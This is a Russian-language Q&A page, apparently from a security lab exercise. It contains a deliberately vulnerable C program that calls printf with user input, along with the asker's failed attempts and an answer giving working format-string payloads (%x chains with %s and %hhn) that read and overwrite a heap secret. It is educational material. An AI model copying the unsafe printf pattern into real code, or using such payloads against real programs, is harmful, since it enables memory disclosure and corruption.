Найти символ из функции форматирования строки - PullRequest
0 голосов
/ 30 марта 2020

Я пытаюсь понять уязвимость строки формата и работаю над выводом значения secret[1] с изменением уязвимого кода, но пробная версия не работает, и я вижу только secret[0]. Я не могу напечатать secret[1].

вот вывод консоли:

$ ./vul_prog
The variable secret's address is 0xbffff2f8 (on stack)
The variable secret's value is 0x 804fa88 (on heap)
secret[0]'s address is 0x 804fa88 (on heap)
secret[1]'s address is 0x 804fa8c (on heap)
Please enter a decimal integer
1
Please enter a string
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
bffff2fc.b7fd6b48.0.b7fff000.1.804fa88.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

$ ./vul_prog
The variable secret's address is 0xbffff2f8 (on stack)
The variable secret's value is 0x 804fa88 (on heap)
secret[0]'s address is 0x 804fa88 (on heap)
secret[1]'s address is 0x 804fa8c (on heap)
Please enter a decimal integer
1234567
Please enter a string
%x.%x.%x.%x.%x.%x.%s
Segmentation fault

код:

/* vul_prog.c */
#include<stdio.h>
#include<stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
    char user_input[100];
    int *secret;
    int int_input;
    int a, b, c, d; /* other variables, not used here.*/
    /* The secret value is stored on the heap */
    secret = (int *) malloc(2*sizeof(int));
    /* getting the secret */
    secret[0] = SECRET1; secret[1] = SECRET2;

    printf("The variable secret's address is 0x%8x (on stack)\n",
           (unsigned int)&secret);

    printf("The variable secret's value is 0x%8x (on heap)\n",
           (unsigned int)secret);

    printf("secret[0]'s address is 0x%8x (on heap)\n",
           (unsigned int)&secret[0]);

    printf("secret[1]'s address is 0x%8x (on heap)\n",
           (unsigned int)&secret[1]);

    printf("Please enter a decimal integer\n");
    scanf("%d", &int_input); /* getting an input from user */
    printf("Please enter a string\n");
    scanf("%s", user_input); /* getting a string from user */

    /* Vulnerable place */
    printf(user_input);
    printf("\n");

    /* Verify whether your attack is successful */
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
    printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
    return 0;
}

Это какая-то проблема?

1 Ответ

0 голосов
/ 30 марта 2020

Вызов printf с введенной пользователем строкой формата очень рискован, и любой спецификатор формата, который не соответствует фактическому аргументу, вызывает неопределенное поведение.

Но в вашем случае это равно цель вопроса.

Из первого вывода видно, что хотя printf не было передано ни одного аргумента, шестым аргументом, который он находит для %x, является указатель secret в вызывающей стороне. frame.

Если вы передадите строку "%x%x%x%x%x%.2s", вы сможете получить содержимое секретного массива, поскольку значение, используемое printf для %s, будет указателем secret.

Если вы передадите строку "%x%x%x%x%x%hhn", значение указателя secret будет использоваться в качестве места для хранения количества символов, выведенных на данный момент, тем самым изменяя фактический secret.

Вы можете использовать другой формат, чтобы изменить это количество символов. Например, %.0s должен просто игнорировать аргумент, не производящий вывода, а %65c должен производить 65 байтов вывода. Следовательно, если вы хотите сохранить 'A' в секрете, эта строка формата может сработать: "%.0s%.0s%.0s%.0s%65d%hhn".

Конечно, это полностью спецификаций системы и компилятора c, действительно это подход не будет работать на 64-битных системах, но вы тестируете на 32-битной системе.

...